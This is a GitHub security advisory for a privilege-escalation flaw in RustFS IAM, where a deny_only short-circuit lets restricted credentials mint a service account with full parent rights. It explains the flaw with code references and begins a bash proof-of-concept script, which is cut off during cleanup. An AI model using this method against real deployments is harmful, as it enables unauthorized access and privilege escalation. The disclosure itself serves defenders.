GitHub Security Advisory: GHSA-xgr5-qc6w-vcg9
Package: rustfs (RUST)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-269: Improper Privilege Management
Vulnerable versions: >= 1.0.0-alpha.13, <= 1.0.0-alpha.78
Patched in: 1.0.0-alpha.79

Summary: RustFS has IAM deny_only Short-Circuit that Allows Privilege Escalation via Service Account Minting

Details:
## Summary

A flawed `deny_only` short-circuit in RustFS IAM allows a restricted service account or STS credential to self-issue an unrestricted service account, inheriting the parent’s full privileges. This enables privilege escalation and bypass of session/inline policy restrictions.

## Details

**akin to MinIO CVE-2025-62506**

- Policy evaluation: `Policy::is_allowed` returns true when `deny_only=true` if no explicit Deny is hit, skipping all Allow checks (`crates/policy/src/policy/policy.rs:66-74`).
- Service account creation path sets `deny_only=true` when the target user equals the caller or its parent (`rustfs/src/admin/handlers/service_account.rs:114-127`).
- Service accounts are created without `session_policy` by default, so claims lack `SESSION_POLICY_NAME`; combined with `deny_only`, self-operations are allowed without Allow statements.
- Result: a limited service account/STS can create a new service account without policy and obtain the parent’s full rights (even root), bypassing original restrictions.

Key code references:

- `crates/policy/src/policy/policy.rs` (deny_only short-circuit)
- `rustfs/src/admin/handlers/service_account.rs:` (deny_only set for self/parent target)
- `crates/iam/src/sys.rs` (service account creation defaults, no session_policy)

## PoC

Requires `awscli`, `awscurl`, `jq`, RustFS at `http://127.0.0.1:9000`, root AK/SK `rustfsadmin/rustfsadmin`. Run:

```bash
#!/usr/bin/env bash
set -euo pipefail

# ===================== Config =====================
ENDPOINT="${ENDPOINT:-http://127.0.0.1:9000}"
ROOT_AK="${ROOT_AK:-rustfsadmin}"
ROOT_SK="${ROOT_SK:-rustfsadmin}"
PARENT_AK="${PARENT_AK:-restricted}"
PARENT_SK="${PARENT_SK:-restricted123}"
CHILD_AK="${CHILD_AK:-evilchild}"
CHILD_SK="${CHILD_SK:-evilchild123}"
AWS_REGION="${AWS_REGION:-us-east-1}"

# Tools
AWSCURL_BIN="${AWSCURL_BIN:-$HOME/Library/Python/3.13/bin/awscurl}"
AWS_BIN="${AWS_BIN:-aws}"
JQ_BIN="${JQ_BIN:-jq}"

# Disable proxies for local endpoint
export HTTP_PROXY=
export HTTPS_PROXY=
export NO_PROXY=127.0.0.1,localhost

# ===================== Helpers =====================
aws_cmd() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" "$AWS_BIN" --endpoint-url "$ENDPOINT" "$@"
}

awscurl_admin() {
  local ak="$1" sk="$2"
  shift 2
  AWS_ACCESS_KEY_ID="$ak" AWS_SECRET_ACCESS_KEY="$sk" \
    "$AWSCURL_BIN" --service s3 --region "$AWS_REGION" --access_key "$ak" --secret_key "$sk" "$@"
}

timestamp_iso() {
  python - <<'PY'
import datetime
print((datetime.datetime.now(datetime.timezone.utc)+datetime.timedelta(hours=1)).isoformat())
PY
}

# ===================== Cleanup =====================
echo "[+] cleanup service accounts (ignore errors)"
for ak in "$CHILD_AK" "$PARENT_AK"; do
  awscurl_admin "$ROOT_AK" "$ROOT_SK" -X DELETE "$ENDPOINT/rustfs/admin/v3/delete-service-accounts?accessKey=$ak" >/dev/null 2>&1 || true
done

echo "[+] cleanup buckets"
for b in bucket1 bucket2 bucket3; do
  aws_cmd "$ROOT_AK" "$ROOT_SK"